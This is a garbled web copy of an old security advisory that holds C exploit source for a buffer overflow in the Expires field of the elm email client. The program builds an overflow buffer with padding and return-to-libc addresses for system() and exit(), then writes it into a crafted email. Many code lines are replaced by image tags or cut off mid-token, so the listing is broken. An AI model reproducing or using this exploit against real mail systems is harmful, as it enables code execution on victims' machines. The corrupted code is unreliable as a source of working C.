Advisory : FrSIRT/ADV-2005-1479
Rated as : Critical
#
![](/icons/32878include.gif)
#
![](/icons/32878include.gif)
#
![](/icons/32878include.gif)
#
![](/icons/32878include.gif)
#
![](/icons/32878define.gif)
#
![](/icons/32878define.gif)
#
![](/icons/32878define.gif)
#
![](/icons/32878define.gif)
#
![](/icons/32878define.gif)
#
![](/icons/32878define.gif)
char expire
![](/icons/32878zhk2.gif)
![](/icons/32878int.gif)
![](/icons/32878main.gif)
![](/icons/32878int.gif)
{
char buffer[BUFFER];
char *email = NULL;
char *user = NULL;
![](/icons/32878int.gif)
long extloc, sysloc, strloc;
FILE *fp;
![](/icons/32878if.gif)
puts("Usage: ./elmex ");
exit(EXIT_FAILURE);
}
![](/icons/32878if.gif)
puts("[-] Sorry, email address too long!");
exit(EXIT_FAILURE);
}
user = (char *)malloc(strlen(argv[1]));
![](/icons/32878if.gif)
perror("malloc");
exit(EXIT_FAILURE);
}
email = EMAIL;
mem
![](/icons/32878set.gif)
memcpy(user, argv[1], strlen(argv[1]));
puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
puts("Tested: Redhat _disibledevent=>sysloc = SYSLOC;
strloc = STRLOC;
mem
![](/icons/32878set.gif)
memcpy(buffer, expire, strlen(expire));
for(i = strlen(expire); i < 53; i
![](/icons/32878jiajia.gif)
*(buffer+i) = 0x41;
for(i = 53; i < 57; i
![](/icons/32878jiadeng.gif)
*(long *)&buffer[i] = sysloc;
for(i = 57; i < 61; i
![](/icons/32878jiajia.gif)
*(long *)&buffer[i] = extloc;
for(i = 61; i < 65; i
![](/icons/32878jiadeng.gif)
*(long *)&buffer[i] = strloc;
memcpy(&buffer[65], STRING, strlen(STRING));
buffer[BUFFER] = '\0';
puts("[-] Adding exploit buffer to email");
fp = fopen(email, "w");
![](/icons/32878if.gif)
perror("fopen"); free(user);
exit(EXIT_FAILURE);
}
fpr
![](/icons/32878int.gif)
"From: User c0ntex Sun Aug 21 13:37:00 2005\n"
"Return-Path:
![](/icons/32878yi.gif)
![](/icons/32878yi.gif)
![](/icons/32878yi.gif)
![](/icons/32878de.gif)
最新评论